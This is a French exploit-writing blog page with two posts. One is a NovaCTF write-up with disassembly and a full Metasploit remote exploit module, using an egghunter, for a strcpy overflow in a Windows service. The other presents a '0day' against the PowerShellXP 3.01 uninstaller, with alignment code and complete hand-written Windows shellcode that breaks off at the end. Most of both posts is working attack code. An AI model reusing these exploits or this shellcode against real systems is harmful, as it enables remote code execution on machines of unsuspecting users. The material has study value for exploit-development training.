Affichage des articles dont le libellé est memory corruption. Afficher tous les articles
Affichage des articles dont le libellé est memory corruption. Afficher tous les articles

jeudi 3 février 2011

[Exploitation] NovaCTF January 2011

Bonjour,

Ca fait un moment que le NovaCTF est terminé et que les solutions devraient pleuvoirs.
Vu que ce n'est pas le cas, je vais en écrire un write up plus ou moins détaillé.

Tout d'abord, la chose qui a pu être constaté lors de ce challenge est un manque de vérification des binaires fournis aux participants de ce challenge. Il y a eus 3 binaires différents durant celui-ci.

Les binaires avaient les caractéristiques suivantes:
- binaire 1 : GS activé + Visual Studio Debug
- binaire 2 : GS activé
- binaire 3 : GS désactivé + quelques modifications mineures du code
Comme vous pouvez le remarquer, le flag GS était activé de base, ce qui rendait l'exploitation impossible sans "tricher" un peu.

J'écrirais donc l'exploitation du binaire 3 et je fournirais le paper que j'ai écris pour le binaire 1 (modder).

Analyse

Tout d'abord, on nous dit qu'on doit exploiter un service Windows, il y a donc des chances que ça soit un escalation privilege en local ou un remote.

On part donc à la recherche des classiques fonctions strcpy() et recv().
Pas de chances pour la première fonction, et joie, on localise rapidement la deuxième avec un cross referencing.

Celà nous permet de trouver la fonction principale, la fonction vulnérable et de trouver strcpy() de la même manière.
En effet, celle-ci est incluse statiquement et n'est pas reconnue par le FLIRT engine d'IDA Pro.

La fonction main:
.text:00401020 main            proc near               ; CODE XREF: start-5B p
.text:00401020
.text:00401020 pAddrInfo       = dword ptr -11CCh
.text:00401020 pHints          = ADDRINFOA ptr -11C8h
.text:00401020 var_11A8        = byte ptr -11A8h
.text:00401020 var_11A7        = byte ptr -11A7h
.text:00401020 var_9A8         = dword ptr -9A8h
.text:00401020 len             = dword ptr -9A4h
.text:00401020 buf             = byte ptr -9A0h
.text:00401020 var_19C         = dword ptr -19Ch
.text:00401020 WSAData         = WSAData ptr -198h
.text:00401020 s               = dword ptr -8
.text:00401020 var_4           = dword ptr -4
.text:00401020
.text:00401020                 push    ebp
.text:00401021                 mov     ebp, esp
.text:00401023                 mov     eax, 11CCh
.text:00401028                 call    sub_407BA0
.text:0040102D                 mov     [ebp+s], 0FFFFFFFFh
.text:00401034                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0040103B                 mov     [ebp+pAddrInfo], 0
.text:00401045                 mov     [ebp+var_19C], 800h
.text:0040104F                 mov     al, ds:byte_40A9E0
.text:00401054                 mov     [ebp+var_11A8], al
.text:0040105A                 push    7FFh
.text:0040105F                 push    0
.text:00401061                 lea     ecx, [ebp+var_11A7]
.text:00401067                 push    ecx
.text:00401068                 call    sub_4015D0
.text:0040106D                 add     esp, 0Ch
.text:00401070                 lea     edx, [ebp+WSAData]
.text:00401076                 push    edx             ; lpWSAData
.text:00401077                 push    202h            ; wVersionRequested
.text:0040107C                 call    ds:WSAStartup
.text:00401082                 mov     [ebp+len], eax
.text:00401088                 cmp     [ebp+len], 0
.text:0040108F                 jz      short loc_4010AF
.text:00401091                 mov     eax, [ebp+len]
.text:00401097                 push    eax
.text:00401098                 push    offset aWsastartupFail ; "WSAStartup failed with error: %d\n"
.text:0040109D                 call    print_msg
.text:004010A2                 add     esp, 8
.text:004010A5                 mov     eax, 1
.text:004010AA                 jmp     loc_401409
.text:004010AF ; ---------------------------------------------------------------------------
.text:004010AF
.text:004010AF loc_4010AF:                             ; CODE XREF: main+6F j
.text:004010AF                 push    20h
.text:004010B1                 push    0
.text:004010B3                 lea     ecx, [ebp+pHints]
.text:004010B9                 push    ecx
.text:004010BA                 call    sub_4015D0
.text:004010BF                 add     esp, 0Ch
.text:004010C2                 mov     [ebp+pHints.ai_family], 2
.text:004010CC                 mov     [ebp+pHints.ai_socktype], 1
.text:004010D6                 mov     [ebp+pHints.ai_protocol], 6
.text:004010E0                 mov     [ebp+pHints.ai_flags], 1
.text:004010EA                 lea     edx, [ebp+pAddrInfo]
.text:004010F0                 push    edx             ; ppResult
.text:004010F1                 lea     eax, [ebp+pHints]
.text:004010F7                 push    eax             ; pHints
.text:004010F8                 push    offset pServiceName ; "1337"
.text:004010FD                 push    0               ; pNodeName
.text:004010FF                 call    ds:getaddrinfo
.text:00401105                 mov     [ebp+len], eax
.text:0040110B                 cmp     [ebp+len], 0
.text:00401112                 jz      short loc_401138
.text:00401114                 mov     ecx, [ebp+len]
.text:0040111A                 push    ecx
.text:0040111B                 push    offset aGetaddrinfoFai ; "getaddrinfo failed with error: %d\n"
.text:00401120                 call    print_msg
.text:00401125                 add     esp, 8
.text:00401128                 call    ds:WSACleanup
.text:0040112E                 mov     eax, 1
.text:00401133                 jmp     loc_401409
.text:00401138 ; ---------------------------------------------------------------------------
.text:00401138
.text:00401138 loc_401138:                             ; CODE XREF: main+F2 j
.text:00401138                 mov     edx, [ebp+pAddrInfo]
.text:0040113E                 mov     eax, [edx+0Ch]
.text:00401141                 push    eax             ; protocol
.text:00401142                 mov     ecx, [ebp+pAddrInfo]
.text:00401148                 mov     edx, [ecx+8]
.text:0040114B                 push    edx             ; type
.text:0040114C                 mov     eax, [ebp+pAddrInfo]
.text:00401152                 mov     ecx, [eax+4]
.text:00401155                 push    ecx             ; af
.text:00401156                 call    ds:socket
.text:0040115C                 mov     [ebp+s], eax
.text:0040115F                 cmp     [ebp+s], 0FFFFFFFFh
.text:00401163                 jnz     short loc_401196
.text:00401165                 call    ds:WSAGetLastError
.text:0040116B                 push    eax
.text:0040116C                 push    offset aSocketFailedWi ; "socket failed with error: %ld\n"
.text:00401171                 call    print_msg
.text:00401176                 add     esp, 8
.text:00401179                 mov     edx, [ebp+pAddrInfo]
.text:0040117F                 push    edx             ; pAddrInfo
.text:00401180                 call    ds:freeaddrinfo
.text:00401186                 call    ds:WSACleanup
.text:0040118C                 mov     eax, 1
.text:00401191                 jmp     loc_401409
.text:00401196 ; ---------------------------------------------------------------------------
.text:00401196
.text:00401196 loc_401196:                             ; CODE XREF: main+143 j
.text:00401196                 mov     eax, [ebp+pAddrInfo]
.text:0040119C                 mov     ecx, [eax+10h]
.text:0040119F                 push    ecx             ; namelen
.text:004011A0                 mov     edx, [ebp+pAddrInfo]
.text:004011A6                 mov     eax, [edx+18h]
.text:004011A9                 push    eax             ; name
.text:004011AA                 mov     ecx, [ebp+s]
.text:004011AD                 push    ecx             ; s
.text:004011AE                 call    ds:bind
.text:004011B4                 mov     [ebp+len], eax
.text:004011BA                 cmp     [ebp+len], 0FFFFFFFFh
.text:004011C1                 jnz     short loc_4011FE
.text:004011C3                 call    ds:WSAGetLastError
.text:004011C9                 push    eax
.text:004011CA                 push    offset aBindFailedWith ; "bind failed with error: %d\n"
.text:004011CF                 call    print_msg
.text:004011D4                 add     esp, 8
.text:004011D7                 mov     edx, [ebp+pAddrInfo]
.text:004011DD                 push    edx             ; pAddrInfo
.text:004011DE                 call    ds:freeaddrinfo
.text:004011E4                 mov     eax, [ebp+s]
.text:004011E7                 push    eax             ; s
.text:004011E8                 call    ds:closesocket
.text:004011EE                 call    ds:WSACleanup
.text:004011F4                 mov     eax, 1
.text:004011F9                 jmp     loc_401409
.text:004011FE ; ---------------------------------------------------------------------------
.text:004011FE
.text:004011FE loc_4011FE:                             ; CODE XREF: main+1A1 j
.text:004011FE                 mov     ecx, [ebp+pAddrInfo]
.text:00401204                 push    ecx             ; pAddrInfo
.text:00401205                 call    ds:freeaddrinfo
.text:0040120B                 push    7FFFFFFFh       ; backlog
.text:00401210                 mov     edx, [ebp+s]
.text:00401213                 push    edx             ; s
.text:00401214                 call    ds:listen
.text:0040121A                 mov     [ebp+len], eax
.text:00401220                 cmp     [ebp+len], 0FFFFFFFFh
.text:00401227                 jnz     short loc_401257
.text:00401229                 call    ds:WSAGetLastError
.text:0040122F                 push    eax
.text:00401230                 push    offset aListenFailedWi ; "listen failed with error: %d\n"
.text:00401235                 call    print_msg
.text:0040123A                 add     esp, 8
.text:0040123D                 mov     eax, [ebp+s]
.text:00401240                 push    eax             ; s
.text:00401241                 call    ds:closesocket
.text:00401247                 call    ds:WSACleanup
.text:0040124D                 mov     eax, 1
.text:00401252                 jmp     loc_401409
.text:00401257 ; ---------------------------------------------------------------------------
.text:00401257
.text:00401257 loc_401257:                             ; CODE XREF: main+207 j
.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
.text:0040125B                 mov     ecx, [ebp+s]
.text:0040125E                 push    ecx             ; s
.text:0040125F                 call    ds:accept
.text:00401265                 mov     [ebp+var_4], eax
.text:00401268                 cmp     [ebp+var_4], 0FFFFFFFFh
.text:0040126C                 jnz     short loc_40129C
.text:0040126E                 call    ds:WSAGetLastError
.text:00401274                 push    eax
.text:00401275                 push    offset aAcceptFailedWi ; "accept failed with error: %d\n"
.text:0040127A                 call    print_msg
.text:0040127F                 add     esp, 8
.text:00401282                 mov     edx, [ebp+s]
.text:00401285                 push    edx             ; s
.text:00401286                 call    ds:closesocket
.text:0040128C                 call    ds:WSACleanup
.text:00401292                 mov     eax, 1
.text:00401297                 jmp     loc_401409
.text:0040129C ; ---------------------------------------------------------------------------
.text:0040129C
.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+s]
.text:0040129F                 push    eax             ; s
.text:004012A0                 call    ds:closesocket
.text:004012A6
.text:004012A6 loc_4012A6:                             ; CODE XREF: main+38B j
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
.text:004012AD                 lea     ecx, [ebp+buf]
.text:004012B3                 push    ecx             ; buf
.text:004012B4                 mov     edx, [ebp+var_4]
.text:004012B7                 push    edx             ; s
.text:004012B8                 call    ds:recv
.text:004012BE                 mov     [ebp+len], eax
.text:004012C4                 cmp     [ebp+len], 0
.text:004012CB                 jle     loc_401361
.text:004012D1                 mov     eax, [ebp+len]
.text:004012D7                 push    eax
.text:004012D8                 push    offset aBytesReceivedD ; "Bytes received: %d\n"
.text:004012DD                 call    print_msg
.text:004012E2                 add     esp, 8
.text:004012E5                 lea     ecx, [ebp+buf]
.text:004012EB                 push    ecx
.text:004012EC                 call    vuln_function
.text:004012F1                 add     esp, 4
.text:004012F4                 push    0               ; flags
.text:004012F6                 mov     edx, [ebp+len]
.text:004012FC                 push    edx             ; len
.text:004012FD                 lea     eax, [ebp+buf]
.text:00401303                 push    eax             ; buf
.text:00401304                 mov     ecx, [ebp+var_4]
.text:00401307                 push    ecx             ; s
.text:00401308                 call    ds:send
.text:0040130E                 mov     [ebp+var_9A8], eax
.text:00401314                 cmp     [ebp+var_9A8], 0FFFFFFFFh
.text:0040131B                 jnz     short loc_40134B
.text:0040131D                 call    ds:WSAGetLastError
.text:00401323                 push    eax
.text:00401324                 push    offset aSendFailedWith ; "send failed with error: %d\n"
.text:00401329                 call    print_msg
.text:0040132E                 add     esp, 8
.text:00401331                 mov     edx, [ebp+var_4]
.text:00401334                 push    edx             ; s
.text:00401335                 call    ds:closesocket
.text:0040133B                 call    ds:WSACleanup
.text:00401341                 mov     eax, 1
.text:00401346                 jmp     loc_401409
.text:0040134B ; ---------------------------------------------------------------------------
.text:0040134B
.text:0040134B loc_40134B:                             ; CODE XREF: main+2FB j
.text:0040134B                 mov     eax, [ebp+var_9A8]
.text:00401351                 push    eax
.text:00401352                 push    offset aBytesSentD ; "Bytes sent: %d\n"
.text:00401357                 call    print_msg
.text:0040135C                 add     esp, 8
.text:0040135F                 jmp     short loc_4013A4
.text:00401361 ; ---------------------------------------------------------------------------
.text:00401361
.text:00401361 loc_401361:                             ; CODE XREF: main+2AB j
.text:00401361                 cmp     [ebp+len], 0
.text:00401368                 jnz     short loc_401379
.text:0040136A                 push    offset aConnectionClos ; "Connection closing...\n"
.text:0040136F                 call    print_msg
.text:00401374                 add     esp, 4
.text:00401377                 jmp     short loc_4013A4
.text:00401379 ; ---------------------------------------------------------------------------
.text:00401379
.text:00401379 loc_401379:                             ; CODE XREF: main+348 j
.text:00401379                 call    ds:WSAGetLastError
.text:0040137F                 push    eax
.text:00401380                 push    offset aRecvFailedWith ; "recv failed with error: %d\n"
.text:00401385                 call    print_msg
.text:0040138A                 add     esp, 8
.text:0040138D                 mov     ecx, [ebp+var_4]
.text:00401390                 push    ecx             ; s
.text:00401391                 call    ds:closesocket
.text:00401397                 call    ds:WSACleanup
.text:0040139D                 mov     eax, 1
.text:004013A2                 jmp     short loc_401409
.text:004013A4 ; ---------------------------------------------------------------------------
.text:004013A4
.text:004013A4 loc_4013A4:                             ; CODE XREF: main+33F j
.text:004013A4                                         ; main+357 j
.text:004013A4                 cmp     [ebp+len], 0
.text:004013AB                 jg      loc_4012A6
.text:004013B1                 push    1               ; how
.text:004013B3                 mov     edx, [ebp+var_4]
.text:004013B6                 push    edx             ; s
.text:004013B7                 call    ds:shutdown
.text:004013BD                 mov     [ebp+len], eax
.text:004013C3                 cmp     [ebp+len], 0FFFFFFFFh
.text:004013CA                 jnz     short loc_4013F7
.text:004013CC                 call    ds:WSAGetLastError
.text:004013D2                 push    eax
.text:004013D3                 push    offset aShutdownFailed ; "shutdown failed with error: %d\n"
.text:004013D8                 call    print_msg
.text:004013DD                 add     esp, 8
.text:004013E0                 mov     eax, [ebp+var_4]
.text:004013E3                 push    eax             ; s
.text:004013E4                 call    ds:closesocket
.text:004013EA                 call    ds:WSACleanup
.text:004013F0                 mov     eax, 1
.text:004013F5                 jmp     short loc_401409
.text:004013F7 ; ---------------------------------------------------------------------------
.text:004013F7
.text:004013F7 loc_4013F7:                             ; CODE XREF: main+3AA j
.text:004013F7                 mov     ecx, [ebp+var_4]
.text:004013FA                 push    ecx             ; s
.text:004013FB                 call    ds:closesocket
.text:00401401                 call    ds:WSACleanup
.text:00401407                 xor     eax, eax
.text:00401409
.text:00401409 loc_401409:                             ; CODE XREF: main+8A j
.text:00401409                                         ; main+113 j ...
.text:00401409                 mov     esp, ebp
.text:0040140B                 pop     ebp
.text:0040140C                 retn
.text:0040140C main            endp

En gros, le programme lance une socket en écoute, fait un recv(), appelle la fonction vulnérable, send() et bye.

Voilà la fonction vulnérable:
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp

Elle prend en paramètre l'addresse du buffer que recv() utilise et copie celui-ci dans un buffer local de 256 octets.
256 octets n'est pas suffisant pour avoir une payload Windows vraiment très utile et strcpy() s'arrête au 0.
Qu'à celà ne tienne, nous avons assez de place pour y placer un egghunter pour rechercher la payload qui se trouvera dans le buffer dans lequel recv() écrit.
Grâce à recv() nous pouvons placer autant de 0 qu'on veut après les 260 bytes nécessaires pour re-écrire le seip (saved eip).
Une chose intéressante à savoir est que strcpy() renvoie le buffer résultant et donc son addresse se trouve dans EAX. Nous n'avons plus qu'à retourner sur un "call eax" et nous aurons fini le challenge.
Le SEIP se trouvent après 260 octets car la pile de vuln_function s'articule ainsi:
[recv_buf][seip][sebp][local_buf]

Let's exploit it then folks!

First on recherche une addresse vers "call eax" :
$ objdump -d server.exe | grep -i call | grep -i eax
  4022d5: ff d0                 call   *%eax
  402301: ff d0                 call   *%eax
  402322: ff d0                 call   *%eax
  402ca0: ff d0                 call   *%eax
  402d89: ff d0                 call   *%eax
  402e92: ff d0                 call   *%eax
  402eb3: ff d0                 call   *%eax
  4038e3: ff d0                 call   *%eax
  403909: ff d0                 call   *%eax
  403972: ff d0                 call   *%eax
  403a63: ff d0                 call   *%eax
  403a92: ff d0                 call   *%eax
  403d2f: ff d0                 call   *%eax
  403d5e: ff d0                 call   *%eax
  405528: ff d0                 call   *%eax
  4057a0: ff d0                 call   *%eax
  405a07: ff d0                 call   *%eax
  405a24: ff d0                 call   *%eax
  405a41: ff d0                 call   *%eax
  4074c4: ff d0                 call   *%eax
Soit une vingtaine d'addresse :).

Ca nous donne un tableau de rets (randomisons le plus possible ;)):
# ret return to : call eax
rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

Ensuite nous voulons un egghunter, pour celà on fait usage du egghunter mixin:
# use egghunter technique
hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

Il reste plus qu'à construire notre payload et à l'envoyer:
# egghunter
egg = hunter
# it nevers get here (egghunter), so rand_text is safe :)
egg << rand_text_alphanumeric(ret_offset - hunter.length)
# usual way to do :
# egg << [target.ret].pack('V')
# better way :) (randomly choose ret address in array)
egg << [rets[rand(rets.length)]].pack('V')
# payload won't get copied in current buffer due to strcpy()
# but it is present somewhere else in memory due to recv() :)
egg << egg_payload

sock.put(egg)

Celà nous donne donc l'exploit suivant:
##
# $Id: novactf_january2011.rb 11541 2011-01-11 06:05:00Z m_101 $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NovaCTF January 2011 (Windows)',
   'Description'    => %q{
    Exploit NovaCTF January 2011
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11541 $',
   'References'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 744,
   # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
     'DisableNops' => true
    },
   'Platform'       => [ 'windows', ],
   'Targets'        =>
   [
    [ 'Windows XP (Generic)',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 11 2011'))

  register_options(
   [
    Opt::RPORT(1337),
   ], self.class )
 end

 def exploit
 connect

 # ret return to : call eax
    rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

 ret_offset = 260

 # use egghunter technique
 hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

 # egghunter
 egg = hunter
 # it nevers get here (egghunter), so rand_text is safe :)
 egg << rand_text_alphanumeric(ret_offset - hunter.length)
 # usual way to do :
 # egg << [target.ret].pack('V')
 # better way :) (randomly choose ret address in array)
 egg << [rets[rand(rets.length)]].pack('V')
 # payload won't get copied in current buffer due to strcpy()
 # but it is present somewhere else in memory due to recv() :)
 egg << egg_payload

 sock.put(egg)
 handler
 disconnect
 end
end

Vous pourrez remarquer que ça fonctionne parfaitement sous Windows 7 si le DEP est désactivé.

Have fun,

m_101

- NovaCTF website: here
- NovaCTF solution by m_101: here

samedi 11 décembre 2010

[Exploit] PowerShell 3.01 0day

Cheers to sec0d and it's members for finding the vuln' :). Thanks to kmkz and ZadYRee for support ;).


Introduction

Aujourd'hui on va attaquer PowerShellXP 3.01.
C'est une extension du shell windows (je vous avouerais que je me suis pas penché plus que ça sur ses fonctionnalitées).
Ce soft souffre d'une vulnérabilitée dans son désinstalleur comme nous allons le voir.

Trigger it!

On lance le désinstalleur et il nous affiche un gentil message :).

Après recherche dans les différents fichier dans le dossier d'installation, on trouve une ligne intéressante dans le uninstall.ini.


On change le %s en %x juste pour voir ... et coup de chance : format string ;).


Reste plus qu'à crasher ça avec un pattern metasploit.


Recherche de l'offset avec !pvefindaddr suggest.
On trouve donc 5268.

En regardant de plus près notre stack (screen 4), on voit qu'on a un pointeur sur notre pile
qui pointe directement sur notre buffer, all the win? :)
Le schéma de la stack :


Il nous suffira donc de trouver une instruction style pop/pop/ret pour retourner sur notre payload :).

On regarde en 0x4012AF et on remarque un appel à wvsprintfA() juste avant, on a localisé la vuln' ;).

On remarque que l'addresse du buffer se trouve en 0x406E70 (huh?) et qu'on re-écrit EIP au bout de 5268 octets ... bizarre. Donc on a EIP qui se trouve en 0x408304.
Regardons un peu qu'es-ce qu'on re-écrit :

On tape donc dans la section des imports. En regardant les imports vers 0x408304 ... on a wvsprintfA() ;). A l'appel de celle-ci on redirige en fait notre code directos sur notre payload :).

En posant un breakpoint au début de la fonction appellée (0x40127C) on voit ça :

Un peu plus bas sur la pile on peut voir qu'on a un retour vers 0x40330F, on va à cette addresse et on voit 1 appel avant notre fonction en 0x401512 qui fait un appel vers lstrcpyA() ... et voilà d'où vient la vuln ;).

Et l'appel à notre lstrcpyA() :

Donc pour résumer, on a 2 vulnérabilitée:
- un buffer overflow due à lstrcpyA()
- une format string s'en suivant due à l'appel de wvsprintfA() avec le format qu'on controle ;)

Et voilà, maintenant il nous reste juste le code d'alignement pour notre shellcode
qu'on va encoder en utilisant l'alpha2.

Alignment code

Voilà le code d'alignement (veuillez vous reférer à mon article sur Xion Audio Player
exploitation pour de plus amples explication sur la manière de construire un code
d'alignement ;) ) :

# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

J'ai choisi ESP en base address car plus facile à aligner (grâce à popad :)).
C'est pour cette raison que je fais pointer ESP vers la section .data directement ^^.

Bon maintenant on a tous les éléments en main pour construire notre exploit.

Pawned?

Aller on essaie avec une payload calculatrice classique ;) :


Ouch, "Access Violation" à cause d'un PUSH, c'est dû au fait qu'on atteint la fin de la section .data :s. On va solutionner ça avec un shellcode windows maison qui va allouer une nouvelle stack tout simplement :).

Let's shellcode!

Pour cette partie je vous conseille de vous documenter sur le format de fichier exécutable PE et sur le shellcoding Windows (le document de skape est très bon :)).

Le déroulement d'un shellcode windows est généralement le suivant :
- parcours du PEB à la recherche de la base de kernel32.dll
- resolutions des fonctions nécessaires de kernel32.dll
        - parsing de l'EAT à la recherche des exports correspondants
- appel des fonctions

Un peu de parsing du fichier PE, on trouve nos imports et on fais nos appels
comme il faut :).

Ca nous donne la payload suivante :
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 861
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash : kernel32.dll
GETPROCESSHEAPHASH  equ     0xa80eecae
VIRTUALPROTECTHASH  equ     0x7946c61b
LOADLIBRARYAHASH    equ     0xec0e4e8e

; hash : ntdll.dll
RTLALLOCATEHEAPHASH       equ     0x3e192526

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; resolve kernel32 symbols
    ; base of kernel32.dll
    mov edx, eax
    mov esi, [ebp+ADDRESS_STUB]
    add esi, kernel32_hash_table - GETSTUB_SIZE
    mov ecx, esi
    add ecx, 12     ; 3 symbols to resolve
    lea edi, [ebp+KERNEL32_FUNC_TABLE]
    call resolve_symbols_for_dll

    ; LoadLibraryA('ntdll.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, ntdll_dll - GETSTUB_SIZE
    push ebx        ; 'ntdll.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve ntdll symbols
    ; base of ntdll.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve user32 symbols
    ; base of user32.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; GetProcessHeap
    call [ebp+GETPROCESSHEAP]

    ; RtlAllocateHeap() ... same result as HeapAlloc()
    push MEMORY_SIZE        ; dwBytes
    push HEAP_ZERO_MEMORY   ; dwFlags
    push eax                ; hHeap
    call [ebp+RTLALLOCATEHEAP]
    push eax                ; save allocated memory address

    ; VirtualProtect()
    lea ecx, [ebp+OLDPROTECT]
    push ecx                        ; lpflOldProtect
    push PAGE_EXECUTE_READWRITE     ; flNewProtect
    push MEMORY_SIZE                ; dwSize
    push eax                        ; lpAddress
    call [ebp+VIRTUALPROTECT]
    
    ; get allocated memory address back :)
    pop edx

    ; set new stack :)
    add edx, MEMORY_SIZE
    push edx
    pop esp

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOX]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; void resolve_symbols_for_dll (edx = base of dll, edi = resolved addresses, esi = hash table address, ecx == end of hash table)
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add edi, 0x4        ; go forward in address table
    cmp esi, ecx
    jnz resolve_symbols_for_dll
    ret

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
GETPROCESSHEAP          equ 0
VIRTUALPROTECT          equ 4
LOADLIBRARYA            equ 8

; ntdll
NTDLL_FUNC_TABLE    equ 12
RTLALLOCATEHEAP     equ 12

; user32
USER32_FUNC_TABLE   equ 16
MESSAGEBOX          equ 16

;
ADDRESS_STUB        equ 20
KERNEL32_BASE       equ 24
OLDPROTECT          equ 28

; hash tables
kernel32_hash_table:
    GetProcessHeapHash  dd     0xa80eecae
    VirtualProtectHash  dd     0x7946c61b
    LoadLibraryAHash    dd     0xec0e4e8e

ntdll_hash_table:
    RtlAllocateHeapHash dd     0x3e192526

user32_hash_table:
    MessageBox  dd  0xbc4da2a8

; dll to load
ntdll_dll: db 'ntdll.dll', 0
user32_dll: db 'user32.dll', 0

; message to show :)
pawnMsg: db 'Pawned by m_101', 0
pawnTitle: db 'Hacked! :)', 0

    ; (alpha2 payload eax based)
    payload:

Le code est bien commenté donc assez compréhensible ^^.
Dans cette payload, j'effectue les actions suivantes :
